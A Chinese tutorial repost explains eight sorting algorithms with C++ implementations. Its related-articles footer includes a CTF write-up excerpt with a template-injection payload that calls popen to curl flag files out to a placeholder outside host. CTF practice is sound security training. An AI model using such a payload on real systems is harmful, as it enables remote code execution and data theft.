常见的8种排序(含代码):插入排序、冒泡排序、希尔排序、快速排序、简单选择排序、归并排序、堆排序、基数排序

news2024/12/24 22:01:19

时间复杂度O(n^2)

1、插入排序 (Insertion Sort)

        从第一个元素开始,该元素可以认为已经被排序;取出下一个元素,在已经排序的元素序列中从后向前扫描;如果该元素(已排序)大于新元素,将该元素移到下一位置;重复步骤,直到找到已排序的元素小于或者等于新元素的位置;将新元素插入到该位置后。

void insertionSort(int arr[], int n) {  
    for (int i = 1; i < n; ++i) {  
        int key = arr[i];  
        int j = i - 1;  
        while (j >= 0 && arr[j] > key) {  
            arr[j + 1] = arr[j];  
            --j;  
        }  
        arr[j + 1] = key;  
    }  
}

2、冒泡排序 (Bubble Sort)

        重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成。

void bubbleSort(int arr[], int n) {  
    for (int i = 0; i < n - 1; ++i) {  
        for (int j = 0; j < n - i - 1; ++j) {  
            if (arr[j] > arr[j + 1]) {  
                std::swap(arr[j], arr[j + 1]);  
            }  
        }  
    }  
}

3、简单选择排序 (Selection Sort)

        每一次从待排序的数据元素中选出最小(或最大)的一个元素,存放在序列的起始位置,直到全部待排序的数据元素排完。

void selectionSort(int arr[], int n) {  
    for (int i = 0; i < n - 1; i++) {  
        int min_idx = i;  
        for (int j = i + 1; j < n; j++) {  
            if (arr[j] < arr[min_idx]) {  
                min_idx = j;  
            }  
        }  
        std::swap(arr[min_idx], arr[i]);  
    }  
}  

时间复杂度O(nlog2n)

4、希尔排序(Shell Sort)

        是插入排序的一种又称“缩小增量排序”,是直接插入排序算法的一种更高效的改进版本。希尔排序是非稳定排序算法。该方法的基本思想是:先将整个待排序的记录序列分割成为若干子序列(由相隔某个“增量”的记录组成的)分别进行直接插入排序,然后依次缩减增量再进行排序,待整个序列中的记录“基本有序”时,再对全体记录进行一次直接插入排序。
(这里只给出增量的简化选择,实际应用中增量序列的选择会更复杂)

void shellSort(int arr[], int n) {  
    int gap = n / 2;  
    while (gap > 0) {  
        for (int i = gap; i < n; ++i) {  
            int temp = arr[i];  
            int j = i;  
            while (j >= gap && arr[j - gap] > temp) {  
                arr[j] = arr[j - gap];  
                j -= gap;  
            }  
            arr[j] = temp;  
        }  
        gap /= 2;  
    }  
}

5、快速排序(Quick Sort)

        通过一趟排序将待排记录分隔成独立的两部分,其中一部分记录的关键字均比另一部分的关键字小,则可分别对这两部分记录继续进行排序,以达到整个序列有序。

int partition(int arr[], int low, int high) {  
    int pivot = arr[high];  
    int i = (low - 1);  
    for (int j = low; j <= high - 1; j++) {  
        if (arr[j] < pivot) {  
            i++;  
            std::swap(arr[i], arr[j]);  
        }  
    }  
    std::swap(arr[i + 1], arr[high]);  
    return (i + 1);  
}  
  
void quickSort(int arr[], int low, int high) {  
    if (low < high) {  
        int pi = partition(arr, low, high);  
        quickSort(arr, low, pi - 1);  
        quickSort(arr, pi + 1, high);  
    }  
}

6、堆排序(Heap Sort)

        堆排序是利用堆这种数据结构所设计的一种排序算法。堆积是一个近似完全二叉树的结构,并同时满足堆积的性质:即子节点的键值或索引总是小于(或者大于)它的父节点。堆排序主要要解决两个问题:

        1)如何根据给定的序列建初始堆

         2)如何在交换掉根结点后,将剩下的结点调整为新的堆(筛选)

void set(int p,int m){//小顶堆
    int i,j;
    i=p;j=i*2;
    while(j<=m){
        if(j<=m-1&&k[j]>k[j+1])//改为<
            j++;
        if(k[j]>=k[i])//改为<=,则为大顶堆
            break;
        else{
            swap(k[i],k[j]);
            i=j;
            j=i*2;
            }
   }
}

void heapSort(){
    int i,j;
    for(i=n/2;i>0;i--)//建堆
        set(i,n);
    for(i=n;i>1;i--)//排序
    {
        swap(k[i],k[1]);
        set(1,i-1);
    }
}
                   

7、归并排序 (Merge Sort)

        归并排序采用分治法的思想,将数组分成两半,分别对它们进行排序,然后将结果合并起来。

        1)编写一个辅助函数来合并两个已排序的子数组。

        2)编写主归并排序函数,该函数将递归地分解数组,直到子数组只包含一个元素(已排序),然后合并这些子数组,直到整个数组排序完成。

void merge(int arr[], int left[], int leftSize, int right[], int rightSize) {  
    int i = 0, j = 0, k = 0;  
    while (i < leftSize && j < rightSize) {  
        if (left[i] <= right[j]) {  
            arr[k++] = left[i++];  
        } else {  
            arr[k++] = right[j++];  
        }  
    }  
    while (i < leftSize) {  
        arr[k++] = left[i++];  
    }  
    while (j < rightSize) {  
        arr[k++] = right[j++];  
    }  
}  
  
void mergeSort(int arr[], int left, int right) {  
    if (left < right) {  
        int mid = left + (right - left) / 2;  
        int leftSize = mid - left + 1;  
        int rightSize = right - mid;  
  
        int leftArr[leftSize], rightArr[rightSize];  
  
        // 拷贝数据到临时数组  
        for (int i = 0; i < leftSize; i++) {  
            leftArr[i] = arr[left + i];  
        }  
        for (int j = 0; j < rightSize; j++) {  
            rightArr[j] = arr[mid + 1 + j];  
        }  
  
        // 递归地对子数组进行排序  
        mergeSort(leftArr, 0, leftSize - 1);  
        mergeSort(rightArr, 0, rightSize - 1);  
  
        // 合并两个已排序的子数组  
        merge(arr, leftArr, leftSize, rightArr, rightSize);  
    }  
}  

时间复杂度O(d(n+rd))

8、基数排序(Radix Sort)

        基数排序是一种非比较型整数排序算法,其原理是将整数按位数切割成不同的数字,然后按每个位数分别比较。为了适用于负数和非整数,这里给出一个简化的版本,仅适用于非负整数,并且假设所有整数的位数相同(或可以通过填充前导零来使它们具有相同的位数)。

#include <vector>  
#include <algorithm>  
  
void countingSort(std::vector<int>& arr, int exp) {  
    std::vector<int> output(arr.size());  
    std::vector<int> count(10, 0);  
  
    // 存储每个桶中的元素数量  
    for (int i = 0; i < arr.size(); i++)  
        count[(arr[i] / exp) % 10]++;  
  
    // 更改count[i],使其包含每个数字小于或等于i的数量  
    for (int i = 1; i < 10; i++)  
        count[i] += count[i - 1];  
  
    // 构建输出数组  
    for (int i = arr.size() - 1; i >= 0; i--) {  
        output[count[(arr[i] / exp) % 10] - 1] = arr[i];  
        count[(arr[i] / exp) % 10]--;  
    }  
  
    // 复制回原数组  
    for (int i = 0; i < arr.size(); i++)  
        arr[i] = output[i];  
}  
  
void radixsort(std::vector<int>& arr) {  
    int maxVal = *std::max_element(arr.begin(), arr.end());  
  
    // 找到最大数的位数  
    int exp = 1;  
    while (maxVal / exp > 0) {  
        countingSort(arr, exp);  
        exp *= 10;  
    }  
}  

或者

#include <iostream>  
#include <cmath>  
#include <algorithm> // 使用std::max来找到数组中的最大值  
  
// 获取数组中的最大值  
int getMax(int arr[], int n) {  
    int mx = arr[0];  
    for (int i = 1; i < n; i++) {  
        if (arr[i] > mx) {  
            mx = arr[i];  
        }  
    }  
    return mx;  
}  
  
// 基数排序函数  
void radixsort(int arr[], int n) {  
    // 找到数组中的最大值  
    int maxVal = getMax(arr, n);  
  
    // 基数排序使用计数排序作为子程序  
    // 这里为了简单起见,我们假设所有的整数都是非负的  
    // 如果有负数,需要做适当的转换  
  
    // 对每一位执行计数排序  
    for (int exp = 1; maxVal / exp > 0; exp *= 10) {  
        int output[n]; // 输出数组  
        int count[10] = {0}; // 计数器数组  
  
        // 存储每个元素的频次  
        for (int i = 0; i < n; i++) {  
            int index = (arr[i] / exp) % 10;  
            count[index]++;  
        }  
  
        // 更改count[i]的值,这样它现在包含位置i处之前的所有元素  
        for (int i = 1; i < 10; i++) {  
            count[i] += count[i - 1];  
        }  
  
        // 生成输出数组  
        for (int i = n - 1; i >= 0; i--) {  
            int index = (arr[i] / exp) % 10;  
            output[count[index] - 1] = arr[i];  
            count[index]--;  
        }  
  
        // 将排序后的元素复制回原数组  
        for (int i = 0; i < n; i++) {  
            arr[i] = output[i];  
        }  
    }  
}  
  
int main() {  
    int arr[] = {170, 45, 75, 90, 802, 24, 2, 66};  
    int n = sizeof(arr) / sizeof(arr[0]);  
  
    radixsort(arr, n);  
  
    std::cout << "Sorted array: \n";  
    for (int i = 0; i < n; i++) {  
        std::cout << arr[i] << " ";  
    }  
    std::cout << std::endl;  
  
    return 0;  
}

28edbba515494195b2405823ebde7468.png

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1850350.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

喂饭教程:AI生成100套Word题库阿里云百炼实训营

郭震原创&#xff0c;手撸码字187022张图 你好&#xff0c;我是郭震 1 实际需求 前段时间&#xff0c;有个关注我的粉丝联系我&#xff0c;是一位大学计算机女老师。 她想做一个二级考试题库&#xff0c;选择题实操题&#xff0c;最好100套以上&#xff0c;拿来给学生练手。 问…

大脑临界状态:探索思维背后的物理机制

在深度思考或创造性灵感的涌现时刻&#xff0c;个体常体验到一种介于混乱与有序之间的特殊心理状态。这种感受实则反映了大脑在认知过程中的临界状态&#xff0c;这是一种涉及复杂物理现象的心理活动表现。近期研究表明&#xff0c;大脑结构中存在着与临界性密切相关的物理特性…

DataWhale - 吃瓜教程学习笔记(二)

学习视频&#xff1a;第3章-一元线性回归_哔哩哔哩_bilibili 西瓜书对应章节&#xff1a; 3.1 - 3.2 一元线性回归 - 最小二乘法 - 极大似然估计 - 梯度 多元函数的一阶导数 - 海塞矩阵 多元函数的二阶导数 - 机器学习三要素

php反序列化漏洞简介

目录 php序列化和反序列化简介 序列化 反序列化 类中定义的属性 序列化实例 反序列化实例 反序列化漏洞 序列化返回的字符串格式 魔术方法和反序列化利用 绕过wakeup 靶场实战 修复方法 php序列化和反序列化简介 序列化 将对象状态转换为可保持或可传输的格式的…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

【开源节流】如何通过数字化转型增强盈利能力?

引言&#xff1a;随着市场竞争的日益激烈&#xff0c;新技术发展的推动和企业发展的需求等&#xff0c;这些背景因素共同促使企业加快数字化转型步伐&#xff0c;以适应市场变化、提升竞争力并实现可持续发展。那如何通过如何通过数字化转型增强盈利能力&#xff1f;需要通过开…

MobileNetV3轻量化YOLOv8

1 轻量化模型 一般而言,模型轻量化有三个途径: 知识蒸馏:大模型引导小模型训练,让其逼近大模型效果 轻量化模块替换:利用一些轻量化模块进行替换,减少模型参数 剪枝:通过优化算法引导模型裁剪无用的参数 MobileNetV3论文如下,自行搜索 2 修改步骤 在nn/modules的文…

神经网络学习6-线性层

归一化用的较少 正则化用来解决过拟合&#xff0c;处理最优化问题&#xff0c;批量归一化加快速度 正则化&#xff08;Regularization&#xff09;&#xff1a; 作用&#xff1a;正则化是一种用来防止过拟合的技术&#xff0c;通过向模型的损失函数中添加惩罚项&#xff0c;使…

Wakelocks 框架设计与实现

Wakelocks 框架是基于Wakeup Source实现的为Android系统上层提供投票机制&#xff0c;以阻止系统进入休眠。 1.功能说明 该模块的支持受宏CONFIG_PM_WAKELOCKS控制。在使能该宏的情况下&#xff0c;PM Core初始化过程中会在sysfs下创建两个属性节点&#xff1a; /sys/power/w…

CNN神经网络猫狗分类经典案例

因为有猫和狗两类&#xff0c;所有在data/train目录下&#xff0c;再建两个目录data/train/dog和data/train/cat&#xff1a; 同理&#xff0c;其他的data/validation和data/test目录下&#xff0c;再建两个目录&#xff1a;cat和data/&#xff0c;在cat和dog目录下&#xff0c…

Vue82-组件内路由守卫

一、组件内路由守卫的定义 在一个组件里面去写路由守卫&#xff0c;而不是在路由配置文件index.js中去写。 此时&#xff0c;该路由守卫是改组件所独有的&#xff01; 只有通过路由规则进入的方式&#xff0c;才会调这两个函数&#xff0c;否则&#xff0c;若是只是用<Ab…

腰背肌筋膜炎怎么治疗最有效

腰背肌筋膜炎的治疗方法主要包括以下几种&#xff1a; 1、休息和物理治疗&#xff1a; 确保充足的休息&#xff0c;避免过度劳累&#xff0c;减少腰背部肌肉的负担。 物理治疗&#xff0c;如热敷或冷敷&#xff0c;可以缓解疼痛和肌肉紧张。热敷可以使用热水袋、热毛巾或电热垫…

读《文明之光》第2册总结

《文明之光》系列大致按照从地球诞生到近现代的顺序讲述了人类文明进程的各个阶段&#xff0c;每个章节相对独立&#xff0c;全景式地展现了人类文明发展历程中的多样性。《文明之光》系列第二册讲述了从近代科学兴起&#xff0c;到工业革命时代&#xff0c;以及原子能应用这一…

深入源码设计!Vue3.js核心API——Computed实现原理

如果您觉得这篇文章有帮助的话&#xff01;给个点赞和评论支持下吧&#xff0c;感谢~ 作者&#xff1a;前端小王hs 阿里云社区博客专家/清华大学出版社签约作者/csdn百万访问前端博主/B站千粉前端up主 此篇文章是博主于2022年学习《Vue.js设计与实现》时的笔记整理而来 书籍&a…

linux普通: rocketmq的安装测试与可视化界面安装,git的 (linux) 安装

全文目录,一步到位 1.前言简介1.1 专栏传送门(rabbitmq) 2. rocketmq使用及安装2.0 开放端口2.1 rocketmq版本说明2.2 具体操作2.2.1 修改文件2.2.2 具体启动指令ps: 查看日志 2.3.3 jps查看java进程2.3.4 测试运行情况> 步骤一: 临时指定nameserver注册中心位置> 步骤二…

Nginx 搭建域名访问环境

1.Nginx配置文件 server {listen 80;server_name www.gulimall.com;#charset koi8-r;#access_log /var/log/nginx/log/host.access.log main;location / {proxy_pass http://192.168.232.1:10001;}#error_page 404 /404.html;# redirect server error p…

学习redis根本不愁,简单明了

一、redis是什么&#xff1f; 在认识redis之前&#xff0c;我们先说一下什么是NoSQL&#xff1f; 1. NoSQL NoSQL&#xff0c;顾名思义就是不仅仅是SQL&#xff0c;泛指非关系数据库。 2. NoSQL的四大分类 &#xff08;1&#xff09;键值&#xff08;key-value&#xff09;存储…

程序猿成长之路之数据挖掘篇——决策树分类算法(1)——信息熵和信息增益

决策树不仅在人工智能领域发挥着他的作用&#xff0c;而且在数据挖掘中也在分类领域中独占鳌头。了解决策树的思想是学习数据挖掘中的分类算法的关键&#xff0c;也是学习分类算法的基础。 什么是决策树 用术语来说&#xff0c;决策树&#xff08;Decision Tree&#xff09;是…

写代码必用字体

下载链接 字体下载链接 使用情况/截图 软件&#xff1a;DEV-CPP 系统&#xff1a;Win10专业版 自带判等、大于、小于等符号的专属字体

微信小程序开发---自定义底部tabBar

自定义tabBar注意事项&#xff1a; 在自定义 tabBar 模式下 &#xff0c;为了保证低版本兼容以及区分哪些页面是 tab 页&#xff0c;app.json文件中 tabBar 的相关配置项需完整声明&#xff0c;但这些字段不会作用于自定义 tabBar 的渲染。所有 tabBar 的样式都由该自定义组件…